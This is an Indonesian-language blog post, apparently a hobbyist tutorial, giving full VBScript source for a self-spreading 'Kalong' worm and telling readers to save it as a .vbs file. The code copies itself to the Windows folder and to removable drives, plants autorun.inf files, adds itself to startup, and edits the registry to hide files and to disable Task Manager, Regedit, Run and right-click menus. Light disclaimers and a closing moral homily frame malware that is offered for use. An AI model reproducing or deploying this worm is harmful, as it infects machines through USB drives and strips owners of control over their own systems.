Cara Menciptakan Virus Kalong

Uhhhh… kayaknya kali ini Lefvi ngasi post yang membahayakan deh???

Tapi, ini kan sekedar gosip aja…

Jangan di coba untuk menjahili orang lain ya… alasannya yaitu akan mengakibatkan dilema besar nantinya!

Lefvi ngasi ini semoga kita berhati-hati aja…

Virus ini sanggup di deteksi dan di hapus dengan SMADAV… alasannya yaitu virus ini buatan sederhana…

Jadi gak perlu takut yang punya SMADAV paling Update…

Oke pribadi aja ya…

Langkah-Langkah :

• Buka Notepad
• Pastikan Antivirus anda aktif dan bersiap untuk men scan alasannya yaitu akan berbahaya kalau virus ini dibiarkan lama-lama
• Copykan semua instruksi di bawah ini :

‘//–Awal dari kode, set semoga dikala terjadi Error dibiarkan dan lalu lanjutkan aktivitas virus–//<br />on error resume next’//–Dim kata-kata berikut ini–//<br />dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Set sebuah teks yang nantinya akan dibentuk untuk Autorun Setup Information–//<br />isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”<br />set fs = createobject(“Scripting.FileSystemObject”)<br />set mf = fs.getfile(Wscript.ScriptFullname)<br />dim text,size<br />size = mf.size<br />check = mf.drive.drivetype<br />set text = mf.openastextstream(1,-2)<br />do while not text.atendofstream<br />rekur = rekur & text.readline<br />rekur = rekur & vbcrlf<br />loop<br />do</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)<br />Set windowpath = fs.getspecialfolder(0)<br />set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)<br />tf.attributes = 32<br />set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)<br />tf.write rekursif<br />tf.close<br />set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)<br />tf.attributes = 39<br />‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//<br />‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">for each flashdrive in fs.drives<br />‘//–Cek Drive–//<br />If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Buat Infector kalau ternyata Drivetypr 1 atau 2. Atau A:\–//<br />set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)<br />tf.attributes =32<br />set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)<br />tf.write rekursif<br />tf.close<br />set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)<br />tf.attributes = 39</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//<br />set tf =fs.getfile(flashdrive.path &”\autorun.inf”)<br />tf.attributes = 32<br />set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)<br />tf.write isi<br />tf.close<br />set tf = fs.getfile(flashdrive.path &”\autorun.inf”)<br />tf.attributes=39<br />end if<br />next</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manipulasi Registry–//</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">set kalong = createobject(“WScript.Shell”)</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//<br />kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Set semoga file hidden tidak ditampilkan di Explorer–//<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Hilangkan hidangan Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Disable klik kanan–//<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Munculkan Pesan Setiap Windows Startup–//<br />kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Aktif setiap Windows Startup–//<br />kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Ubah RegisteredOwner dan Organization–//<br />kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”<br />kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Nah kalau instruksi dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//<br />if check <> 1 then<br />Wscript.sleep 200000<br />end if<br />loop while check <> 1<br />set sd = createobject(“Wscript.shell”)<br />sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname<br />‘Akhir dari Kode

• Setelah anda Copykan semua kodenya, Save dan ganti Save As Typenya menjadi All Files
• Ganti namanya menjadi Kalong.vbs alasannya yaitu virus ini memakai bahasa pemerograman Virtual Basic
• Dan Pilih Save

Oh iya… Nama virusnya boleh diganti apa aja deh yang penting tetap ber extensi *.VBS

Mohon dibaca Nasehat pribadi dari Lefvi : Jangan menjadi musuh dibalik selimut… dan jangan melaksanakan balas dendam kepada orang yang telah menyakiti kita alasannya yaitu dikala kita membalas dendam berarti kita sama saja jahatnya pada orang yang pernah menjahati kita… Hargailah mereka baik maupun jahat karena, sejahat apapun mereka niscaya mempunyai titik kebaikan dihati mereka… kalau kita ikuti permainan mereka dan terus membalas yang mereka lakukan maka sama saja kita memperpanjang dilema kita pada mereka dan pastinya DOSA kita akan terus mengalir sedangkan AMAL BAIK kita akan terus terkuras habis…

Semoga Info diatas sangat mempunyai kegunaan bagi kita semua

Sekian dan TERIMAKASIH